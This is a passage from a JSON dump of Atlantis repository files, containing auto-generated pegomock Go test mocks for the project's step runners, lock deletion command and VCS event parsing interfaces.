*MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_custom_step_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CustomStepRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tvalid \"github.com/runatlantis/atlantis/server/core/config/valid\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\tregexp \"regexp\"\n\t\"time\"\n)\n\ntype MockCustomStepRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCustomStepRunner(options ...pegomock.Option) *MockCustomStepRunner {\n\tmock := &MockCustomStepRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCustomStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCustomStepRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCustomStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput []valid.PostProcessRunOutputOption, postProcessFilterRegexes []*regexp.Regexp) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCustomStepRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, shell, cmd, path, envs, streamOutput, postProcessOutput, postProcessFilterRegexes}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCustomStepRunner) VerifyWasCalledOnce() *VerifierMockCustomStepRunner {\n\treturn &VerifierMockCustomStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCustomStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCustomStepRunner {\n\treturn &VerifierMockCustomStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCustomStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCustomStepRunner {\n\treturn &VerifierMockCustomStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCustomStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCustomStepRunner {\n\treturn &VerifierMockCustomStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCustomStepRunner struct {\n\tmock                   *MockCustomStepRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCustomStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput []valid.PostProcessRunOutputOption, postProcessFilterRegexes []*regexp.Regexp) *MockCustomStepRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, shell, cmd, path, envs, streamOutput, postProcessOutput, postProcessFilterRegexes}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockCustomStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCustomStepRunner_Run_OngoingVerification struct {\n\tmock              *MockCustomStepRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCustomStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, *valid.CommandShell, string, string, map[string]string, bool, []valid.PostProcessRunOutputOption, []*regexp.Regexp) {\n\tctx, shell, cmd, path, envs, streamOutput, postProcessOutput, postProcessFilterRegexes := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], shell[len(shell)-1], cmd[len(cmd)-1], path[len(path)-1], envs[len(envs)-1], streamOutput[len(streamOutput)-1], postProcessOutput[len(postProcessOutput)-1], postProcessFilterRegexes[len(postProcessFilterRegexes)-1]\n}\n\nfunc (c *MockCustomStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []*valid.CommandShell, _param2 []string, _param3 []string, _param4 []map[string]string, _param5 []bool, _param6 [][]valid.PostProcessRunOutputOption, _param7 [][]*regexp.Regexp) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*valid.CommandShell, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*valid.CommandShell)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]bool, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(bool)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 6 {\n\t\t\t_param6 = make([][]valid.PostProcessRunOutputOption, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[6] {\n\t\t\t\t_param6[u] = param.([]valid.PostProcessRunOutputOption)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 7 {\n\t\t\t_param7 = make([][]*regexp.Regexp, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[7] {\n\t\t\t\t_param7[u] = param.([]*regexp.Regexp)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_delete_lock_command.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: DeleteLockCommand)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockDeleteLockCommand struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockDeleteLockCommand(options ...pegomock.Option) *MockDeleteLockCommand {\n\tmock := &MockDeleteLockCommand{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockDeleteLockCommand) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockDeleteLockCommand) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockDeleteLockCommand().\")\n\t}\n\t_params := []pegomock.Param{logger, id}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeleteLock\", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *models.ProjectLock\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*models.ProjectLock)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockDeleteLockCommand().\")\n\t}\n\t_params := []pegomock.Param{logger, repoFullName, pullNum}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeleteLocksByPull\", _params, []reflect.Type{reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 int\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(int)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockDeleteLockCommand) VerifyWasCalledOnce() *VerifierMockDeleteLockCommand {\n\treturn &VerifierMockDeleteLockCommand{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockDeleteLockCommand) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDeleteLockCommand {\n\treturn &VerifierMockDeleteLockCommand{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockDeleteLockCommand) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDeleteLockCommand {\n\treturn &VerifierMockDeleteLockCommand{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockDeleteLockCommand) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDeleteLockCommand {\n\treturn &VerifierMockDeleteLockCommand{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockDeleteLockCommand struct {\n\tmock                   *MockDeleteLockCommand\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) *MockDeleteLockCommand_DeleteLock_OngoingVerification {\n\t_params := []pegomock.Param{logger, id}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeleteLock\", _params, verifier.timeout)\n\treturn &MockDeleteLockCommand_DeleteLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockDeleteLockCommand_DeleteLock_OngoingVerification struct {\n\tmock              *MockDeleteLockCommand\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) {\n\tlogger, id := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], id[len(id)-1]\n}\n\nfunc (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification {\n\t_params := []pegomock.Param{logger, repoFullName, pullNum}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeleteLocksByPull\", _params, verifier.timeout)\n\treturn &MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification struct {\n\tmock              *MockDeleteLockCommand\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string, int) {\n\tlogger, repoFullName, pullNum := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1]\n}\n\nfunc (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string, _param2 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_env_step_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: EnvStepRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tvalid \"github.com/runatlantis/atlantis/server/core/config/valid\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockEnvStepRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockEnvStepRunner(options ...pegomock.Option) *MockEnvStepRunner {\n\tmock := &MockEnvStepRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockEnvStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockEnvStepRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockEnvStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEnvStepRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, shell, cmd, value, path, envs}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockEnvStepRunner) VerifyWasCalledOnce() *VerifierMockEnvStepRunner {\n\treturn &VerifierMockEnvStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockEnvStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockEnvStepRunner {\n\treturn &VerifierMockEnvStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockEnvStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEnvStepRunner {\n\treturn &VerifierMockEnvStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockEnvStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockEnvStepRunner {\n\treturn &VerifierMockEnvStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockEnvStepRunner struct {\n\tmock                   *MockEnvStepRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockEnvStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string) *MockEnvStepRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, shell, cmd, value, path, envs}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockEnvStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEnvStepRunner_Run_OngoingVerification struct {\n\tmock              *MockEnvStepRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEnvStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, *valid.CommandShell, string, string, string, map[string]string) {\n\tctx, shell, cmd, value, path, envs := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], shell[len(shell)-1], cmd[len(cmd)-1], value[len(value)-1], path[len(path)-1], envs[len(envs)-1]\n}\n\nfunc (c *MockEnvStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []*valid.CommandShell, _param2 []string, _param3 []string, _param4 []string, _param5 []map[string]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*valid.CommandShell, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*valid.CommandShell)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_event_parsing.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: EventParsing)\n\npackage mocks\n\nimport (\n\tgitea \"code.gitea.io/sdk/gitea\"\n\tazuredevops \"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\tgithub \"github.com/google/go-github/v83/github\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tgitea0 \"github.com/runatlantis/atlantis/server/events/vcs/gitea\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\tclient_go \"gitlab.com/gitlab-org/api/client-go\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockEventParsing struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockEventParsing(options ...pegomock.Option) *MockEventParsing {\n\tmock := &MockEventParsing{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockEventParsing) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockEventParsing) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{eventTypeHeader, sha, pr}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetBitbucketCloudPullEventType\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()})\n\tvar _ret0 models.PullRequestEventType\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequestEventType)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{eventTypeHeader}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetBitbucketServerPullEventType\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()})\n\tvar _ret0 models.PullRequestEventType\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequestEventType)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockEventParsing) ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) (models.Repo, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{vcsHostType, path, cloneURL}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseAPIPlanRequest\", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.Repo\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.Repo)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) (models.PullRequest, models.Repo, models.Repo, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{adPull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseAzureDevopsPull\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.Repo\n\tvar _ret2 models.Repo\n\tvar _ret3 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.Repo)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3\n}\n\nfunc (mock *MockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{pullEvent}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseAzureDevopsPullEvent\", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullRequest\n\tvar _ret1 models.PullRequestEventType\n\tvar _ret2 models.Repo\n\tvar _ret3 models.Repo\n\tvar _ret4 models.User\n\tvar _ret5 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(models.PullRequestEventType)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(models.Repo)\n\t\t}\n\t\tif _result[3] != nil {\n\t\t\t_ret3 = _result[3].(models.Repo)\n\t\t}\n\t\tif _result[4] != nil {\n\t\t\t_ret4 = _result[4].(models.User)\n\t\t}\n\t\tif _result[5] != nil {\n\t\t\t_ret5 = _result[5].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2, _ret3, _ret4, _ret5\n}\n\nfunc (mock *MockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockEventParsing().\")\n\t}\n\t_params := []pegomock.Param{adRepo}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseAzureDevopsRepo\", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.Repo\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.Repo)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) {\n\tif mock == nil 